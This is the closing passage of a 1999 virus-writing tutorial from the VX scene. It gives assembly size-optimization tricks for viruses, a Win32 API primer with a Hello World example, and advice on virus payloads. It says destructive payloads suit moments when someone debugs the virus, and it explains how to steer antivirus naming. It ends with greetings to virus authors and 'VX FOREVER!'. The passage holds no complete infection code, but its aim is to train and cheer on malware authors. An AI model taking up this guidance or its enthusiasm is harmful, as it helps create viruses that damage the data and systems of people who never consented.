optimize your code until it's full-working. If you begin to optimize a code that don't works, ther'll be a lot of more things that will make it don't work, you'll try to fix it, and you'll make more and more mistakes... an endless loop of shit :) % Structural optimization % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is the most effective, and the more hard to do and understand. This kinda optimization can be easily unserstand by using a paper, and writing there the algorithm of your virus. We haven't here paper, so let's imaginate a situation... imagine you, on yer virus, open the file first for read only, close, open again for read/write, and close again. This is a waste of bytes. For this kind of optimization, you must think a lot about what things can you change and save bytes, and what things don't. The solutions must be custom-made to your problems. % Local optimization % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is the easiest way, however it can save a lot of bytes tho. It consist in change some code lines individually to another ones that do the save job, using less bytes. þ Clearing Registers: mov bx,0000h ; 3 bytes xor bx,bx ; 2 bytes sub bx,bx ; 2 bytes So, never use the first one, and choose one of the other ways. There is a register that can be cleared by other way: DX. Let's see: mov dx,0000h ; 3 bytes xor dx,dx ; 2 bytes sub dx,dx ; 2 bytes cwd ; Convert word to dword ( 1 byte ) The CWD will ONLY work if AX content is less that 8000h. There is a way to clear AH with a one-byter: if AL < 80h you can use the CBW instruction. þ Comparisons: There's a very well know way by all us, that is to use the instruction developed specially for this: the CMP. For compare two register, you can use two ways with the same result, and no savings: cmp ax,bx ; 2 bytes xor ax,bx ; 2 bytes But we can only use XOR in all the cases if we want only know if the values are EQUAL. However, we CAN save bytes if we use xor instead cmp when compa- ring a register with an immediate value: cmp ax,0666h ; 3 bytes xor ax,0666h ; 2 bytes But, due the nature of XOR instruction, we can't use it for know if a reggie is clear. But here comes OR to save us... cmp ax,0000h ; 3 bytes or ax,ax ; 2 bytes þ Optimized reggie - AX: You can use it for comparisons: cmp bx,0666h ; 4 bytes cmp ax,0666h ; 3 bytes And you can move AX to another register in a very optimized way: mov bx,ax ; 2 bytes xchg ax,bx ; 1 byte You can do this if da values of AX and BX before the change are unimportant. This is really good for put after a file open, coz the file handle is better in BX. þ String operands: Each string operand ( MOVS, STOS, SCAS... ) is the optimized way for perform some actions. Let's see for what purposes can you use it: - MOVS: A movement from the position DS:[SI] to ES:[DI] les di,ds:[si] ; 3 bytes movsb ; If we want a byte ( 1 byte ) movsw ; If we want a word ( 1 byte ) movsd ; If we want a dword ( 2 bytes ) 386+ - LODS: Put in accumulator the value of the position DS:[SI] mov ax,ds:[si] ; 2 bytes lodsb ; If we want a byte ( 1 byte ) lodsw ; If we want a word ( 1 byte ) lodsd ; If we want a dword ( 2 bytes ) 386+ - STOS: Put in accumulator the value of the position ES:[DI] les di,al ; Can't do this! les di,ax ; Can't do this! stosb ; If we want a byte ( 1 byte ) stosw ; If we want a word ( 1 byte ) stosd ; If we want a dword ( 2 bytes ) 386+ - CMPS: Compares the value in DS:[SI] with the value in ES:[DI] cmp ds:[si],es:[di] ; Can't have 2 segment overrides! cmpsb ; If we want a byte ( 1 byte ) cmpsw ; If we want a word ( 1 byte ) cmpsd ; If we want a dword ( 2 bytes ) 386+ - SCAS: Compares the value of accumulator with ES:[DI] cmp ax,es:[di] ; 3 bytes scasb ; If we want a byte ( 1 byte ) scasw ; If we want a word ( 1 byte ) scasd ; If we want a dword ( 2 bytes ) 386+ þ 16 bit registers: Ussually, it's more optimized the usage of 16 bit register than the 8 bit ones. Let's see an example with MOV instruction: mov ah,06h ; 2 bytes mov al,66h ; 2 bytes ( 4 bytes total ) mov ax,0666h ; 3 bytes It's more optimized to increase/decrease any 16 bit register: inc al ; 2 bytes inc ax ; 1 byte dec al ; 2 bytes dec ax ; 1 byte þ Bases and segments: The movement from another segment to another can't be done directly, so we must to play some with it: mov es,ds ; Can't do this! mov ax,ds ; 2 bytes mov es,ax ; 2 bytes ( 4 bytes total ) push ds ; 1 byte pop es ; 1 byte ( 2 bytes total ) Use DI/SI is more enhaced than the use of BP. mov ax,ds:[bp] ; 4 bytes mov ax,ds:[si] ; 3 bytes þ Procedures: If you use a routine a lot of times, you must think about the possibility of make a procedure. This can optimize your code. However, the bad use of the procedures can invert our needs: the code will grow. So, if you wanna know if the conversion of a routine to a procedure save bytes, you can use this little formula: X = [rout. size - (CALL size + RET size)] * number of calls - rout. size The CALL size + RET size means 4 bytes. The X will be the bytes we save. Let's see the tipical function that saves some bytes, the file pointer move- ment: fpend: mov ax,4202h ; 3 bytes fpmov: xor cx,cx ; 2 bytes cwd ; 1 byte int 21h ; 2 bytes ret ; 1 byte We have 8 bytes plus CALL size... 11 bytes. Let's see if this will optimize our code: X = [ 7 - ( 3 + 1 ) ] * 3 - 7 X = 2 bytes saved This is a invented calculation, of course. You can call this routine more than 3 times ( or less ), make its size different, and many more things. þ Last tips for local optimization: - Use SFT. In this structure you've a lot of useful information, and you can manipulate it without any problem. - Make your compiler pass trough the code at least 3 times for eliminate all unnecessary NOPs and other shit. - Use stack. - It's more optimized to use the LEA instruction that use the MOV offset. ÄÄÄ´ Appendix 1 : The new school ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, here i will make a little introduction to the whole new world that is Windows 32-bit programming. An advice: change your mind :) If you arrived to this point i assume you are intelligent, and know to code in 16 bit ASM very good. So, it's time for learn the basics of Windows envi- roments, and code a little bit. But this part of the tute, as is an appendix won't be very complete, so you will have to search da information in another place :) % Brief description of what's going on % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here we must erase almost all our knowledge of DOS if we want to be success, because all that is unnecessary now. All the explained before has no more utility in Win32 ( well, there're some exceptions of course )... interrupts, structures, COM files, methods of residency and stealth, append methods, anti-debugging, anti-heuristic... the only that remains of all that are the concepts, the code we must do is very different. Well, some people use to misname Win95 viruses as Win32. No. Win32 means that da virus MUST be compa- tible with all Win95, WinNT, Win3X+Win32s and Win98. Well, we have new registers, new segments, new structures... and a lot of new things for research. Ain't as difficult as it appears to be... just think that it's the moment that you have waiting for: there're a lot of un- explored techniques, so you can became easily in a pioneer :) Forget all that 16bit segments, 16bit offsets, 16bit registers... Now we ha- ve something more funny: all these things ( and much more ), but in a 32bit version. % Changes between 16 and 32 bit programming % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We will work ussually with double words instead words, and this thing open us a new world of possibilities. We have two more segments to add to the already known CS, DS, ES and SS: FS and GS. And we have new 32 bit registers as EAX, EBX, ECX, EDX, ESI, EDI, EBP and ESP. Let's see how to play with the reggies: Imagine we have to access to the less significant word of EAX. What can we do? This part can be accessed by using AX register, that handles its LSW. Imagine that EAX = 00000000, and we want to put a 1234h in the LSW of this. We must simply do a "mov ax,1234h" and all the work is done. But what if we wanna access to da MSW ( Most Significant Word ) of EAX. For this pur- poses we can't use a reg: we must play using ROL ( or SHL if LSW is shit ). But... for what the fuck you need that? Use EAX goddamit! :P % Rings : brief introduction % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are 4 different rings: Ring-0, Ring-1, Ring-2 and Ring-3. The Win9X uses two of them: Ring-0 and Ring-3. - Ring-0, the sweet dream of the virus writer under Win9X enviroments. It's the highest privilege under Win9X, we can access ports, etc., because we are avoiding all kind of things that could stop us. It's the highest level, and btw, is the same level at the kernel works. There are no restrictions. - Ring-3, the usual shit of Win32 enviroments. We can only use the APIs. This is the privilege where all the "normal" applications run. We have a lot of limitations here. We must be careful with that goddamn General Protection Faults when coding at this level. % The base for Ring-3 coding : The API % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ API can be considered as the thing that substitutes in Windows enviroment da interrupts. In the "normal" applications developing we have them with any kind of problem. But the thing changes in virus developing, as we need to search for them. But this is another story that will be told another time in another place :P Well, the parameters when we use APIs must be in the stack, so we must push'em. Let's see an example: push 00000000h call ExitProcess The API ExitProcess is the equivalent in Windows to the famous INT 20h in DOS. The value we push is the exit code. Let's see: VOID ExitProcess( UINT uExitCode // exit code for all threads ); Another example of API could be MessageBox(A/W). Yeah, shows that goddamn msgbox. int MessageBox( HWND hWnd, // handle of owner window LPCTSTR lpText, // address of text in message box LPCTSTR lpCaption, // address of title of message box UINT uType // style of message box ); Well, let's see more examples. % Interesting APIs % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ All the information here is taken from the awesome Win32 programmer's refe- rence, maybe the most kickass aid you can get when working under Windoze enviroments. I'll only place here four of them, the most used nowadays, but i really recommend you to download it: there're a lot of interesting APIs, and if i put here all i think important, this tute will be 10 megs :) þ GetProcAddress The GetProcAddress function returns the address of the specified exported dynamic-link library (DLL) function. FARPROC GetProcAddress( HMODULE hModule, // handle to DLL module LPCSTR lpProcName // name of function ); - Parameters ú hModule Identifies the DLL module that contains the function. The LoadLibrary or GetModuleHandle function returns this handle. ú lpProcName Points to a null-terminated string containing da function name, or specifies the function's ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero. ú Return Values A. If the function succeeds, the return value is the address of the DLL's exported function. B. If the function fails, the return value is NULL. To get extended error information, call GetLastError. Well, probably the most interesting API of all :P þ GetModuleHandle(A/W) The GetModuleHandle function returns a module handle for da specified module if the file has been mapped into the address space of the calling process. HMODULE GetModuleHandle( LPCTSTR lpModuleName // address of module name to return handle for ); - Parameters ú lpModuleName Points to a null-terminated string that names a Win32 module (either a .DLL or .EXE file). If the filename extension is omitted, the default library extension .DLL is appended. The filename string can include a trailing point character (.) to indicate that the module name has no extension. The string does not have to specify a path. The name is compared (case independently) to the names of modules currently mapped into the address space of the calling process. If this parameter is NULL, GetModuleHandle returns a handle of the file used to create the calling process. ú Return Values A. If the function succeeds, the return value is a handle to the specified module. B. If the function fails, the return value is NULL. To get extended error information, call GetLastError. þ FindFirst(A/W) Da FindFirstFile function searches a directory for a file whose name matches the specified filename. FindFirstFile examines subdirectory names as well as filenames. HANDLE FindFirstFile( LPCTSTR lpFileName, // pointer to name of file to search for LPWIN32_FIND_DATA lpFindFileData // pointer to returned information ); - Parameters ú lpFileName A. Windows 95: Points to a null-terminated string that specifies a valid directory or path and filename, which can contain wildcard characters ( * and ? ). This string must not exceed MAX_PATH characters. B. Windows NT: Points to a null-terminated string that specifies a valid directory or path and filename, which can contain wildcard characters (* and ?). There is a default string size limit for paths of MAX_PATH characters. This limit is related to how the FindFirstFile function parses paths. An application can transcend this limit and send in paths longer than MAX_PATH characters by calling the wide (W) version of FindFirstFile and prepending "\\?\" to the path. The "\\?\" tells the function to turn off path parsing; it lets paths longer than MAX_PATH be used with FindFirstFileW. This also works with UNC names. The "\\?\" is ignored as part of the path. For example "\\?\C:\myworld\private" is seen as "C:\myworld\private", and " \\?\UNC\bill_g_1\hotstuff\coolapps"is seen as "\\bill_g_1\hotstuff\coolapps" ú lpFindFileData Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to the FindNextFile or FindClose function to refer to the file or subdirectory. ú Return Values A. If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose. B. If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError. þ FindNext(A/W) The FindNextFile function continues a file search from a previous call to da FindFirstFile function. BOOL FindNextFile( HANDLE hFindFile, // handle to search LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data on // found file ); - Parameters ú hFindFile Identifies a search handle returned by a previous call to the FindFirstFile function. ú lpFindFileData Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to refer to the found file or directory. ú Return Values A. If the function succeeds, the return value is nonzero. B. If the function fails, the return value is zero. To get extended error information, call GetLastError C. If no matching files can be found, the GetLastError function returns ERROR_NO_MORE_FILES. [** WIN32_FIND_DATA **] typedef struct _WIN32_FIND_DATA { // wfd DWORD dwFileAttributes; FILETIME ftCreationTime; FILETIME ftLastAccessTime; FILETIME ftLastWriteTime; DWORD nFileSizeHigh; DWORD nFileSizeLow; DWORD dwReserved0; DWORD dwReserved1; TCHAR cFileName[ MAX_PATH ]; TCHAR cAlternateFileName[ 14 ]; } WIN32_FIND_DATA; - Members ú dwFileAttributes Specifies the file attributes of the file found. This member can be one or more of the following values [ Not enough space for include them here: you have them at 29A INC files ( 29A#2 ) and the document said before. ú ftCreationTime Specifies a FILETIME structure containing the time the file was created. FindFirstFile and FindNextFile report file times in Coordinated Universal Time (UTC) format. These functions set the FILETIME members to zero if the file system containing the file does not support this time member. You can use the FileTimeToLocalFileTime function to convert from UTC to local time, and then use the FileTimeToSystemTime function to convert the local time to a SYSTEMTIME structure containing individual members for the month, day, year, weekday, hour, minute, second, and millisecond. ú ftLastAccessTime Specifies a FILETIME structure containing the time that the file was last accessed. The time is in UTC format; the FILETIME members are zero if the file system does not support this time member. ú ftLastWriteTime Specifies a FILETIME structure containing the time that the file was last written to. The time is in UTC format; the FILETIME members are zero if the file system does not support this time member. ú nFileSizeHigh Specifies the high-order DWORD value of the file size, in bytes. This value is zero unless the file size is greater than MAXDWORD. The size of the file is equal to (nFileSizeHigh * MAXDWORD) + nFileSizeLow. ú nFileSizeLow Specifies the low-order DWORD value of the file size, in bytes. ú dwReserved0 Reserved for future use. ú dwReserved1 Reserved for future use. ú cFileName A null-terminated string that is the name of the file. ú cAlternateFileName A null-terminated string that is an alternative name for the file. This name is in the classic 8.3 (filename.ext) filename format. Another interesting apis could be GetFileAttributes(A/W), SetFileAttributes (A/W), CreateProcess, CreateFile(A/W), VirtualAlloc, CreateFileMapping(A/W), SetEnfOfFile, etc. --- Well, there're a lot of times equivalences between the functions we used in DOS and an API. Search for them ;) Let's continue with the typical example we always try to do when we have a new language: the "Hello world!" :) % Hello World in Win32 % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's very easy. We must use the "MessageBoxA" API, so we define it with the already known "extrn" command, and then push the parameters and call the said API. Note that the strings must be ASCIIZ ( ASCII,0 ). Remember that the parameters must be pushed. .386 ; Processor ( must be .model flat ; Uses 32 bit registers extrn ExitProcess:proc ; The APIs it uses extrn MessageBoxA:proc .data szMessage db "Hello World!",0 szTitle db "Windows coding - lame example",0 .code ; Here we go! HelloWorld: push large 0 push offset szTitle push offset szMessage push large 0 call MessageBoxA push large 0 call ExitProcess end HelloWorld As you can see, it's very simple to code. Maybe not as easy as the same in 16 bit enviroments, but really simple if you think about all the advantages that the 32 bits brings to us. Well, as this is a Virus Writing Guide for people that is starting in virus coding, i think it's time to stop. If you want to know more about this matter, you will have to wait for the tutorial i am developing now: Virus Writing Guide 1.00 for Win32. Sounds cool huh? :) ÄÄÄ´ Appendix 2 : Payloads ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You must work in your payload, because it'll be the only thing that the user will see of your virus. A payload that only trash da HD, or wipe files isn't original, and it denotes that the user can't do better things. If you wanna destroy, your work isn't in the virus scene: the trojans are very easy to code so dedicate your efforts to the trojan developement I'm not saying that i refuse all kinds of destruction. But it must be reser- ved for special moments, like if someone is trying do debug the virus or something. I think that isn't good to make other people the things we don't want happen to us. You have good examples of originality in viruses like Elvira, Cascade, Claudia Schiffer ( hehehe ;), Ambulance... ÄÄÄ´ Appendix 3 : Naming your viruses ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, we know how to make viruses :) But, what about naming them?. I read some time ago a very interesting article, done by Rajaat, when he was in IR/G, and published in IR#8. That article was very cool, because it showed the way for make the AV to call your virus as you want it to be called. Well as i don't want to put here the whole article, and as i gave credit to its original author, i think it's okay to make a brief description of the basic ideas that Rajaat gave us. - Show in the payload the name of the virus only, not the author's name. - Don't use very complex names - Don't use ppl's names - Don't show in the messages inside the virus special interest in call the virus in a determinated way (Ex: Bizatch per Boza...) ÄÄÄ´ Last words ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You can think that write this document was a pain for me. No, i've really enjoyed the time i've used to write this little tutorial. I hope you enjoyed its read :) My objective was to make a complete tutorial, beginning at the runtime com infection, and talking about some cool techniques like polymorphism and tunneling. I made this with the objective of teach some people, and, at the same time teach myself about a lot of things. Now, it's your time, not mine Remember where did you learn :) And now, after reading, understanding, and experimenting, you're ready to make very good viruses, and, if you want, write articles for a virus related magazine, or to be in a VX group :) After saying goodbye, i must send greets to some people, da ones that helped me and the ones i admire. As I said in my presentation, this tutorial is highly dedicated to zAxOn ( hehehe... i wrote your nick in da rite way ;) da one that received all my telephone calls for questions like " How i can copy a file? ", or " What is this program... the PKZIP? " in my earlier steps in the computing world. He listened with a good attitude all my projects,dreams and else. It's good to have friends like him :) This document is also dedicated to this people that make big efforts for teach the people that is interested in VX, with dreams of fame and else. It's a way for assure the future of the virus scene... VX FOREVER! Of course, i must make a special mention to Dark Angel, Dark Avenger, GriYo, b0z0, Owl, StarZer0, Neurobasher, Vecna, Qark, Quantum, Int13h, Murkry, Jacky Qwerty, Darkman, Super, and all da people who rocked and still rocking the world making this little misunderstood forms of life, automatas, always labeled as bad things. You know what ignorance does. PS: This tutorial is my humble tribute to that OS, that lived between all us since some centuries ago, called MS-DOS. RIP. Valencia, 29 of January, 1999. Billy Belceb£, mass killer and ass kicker.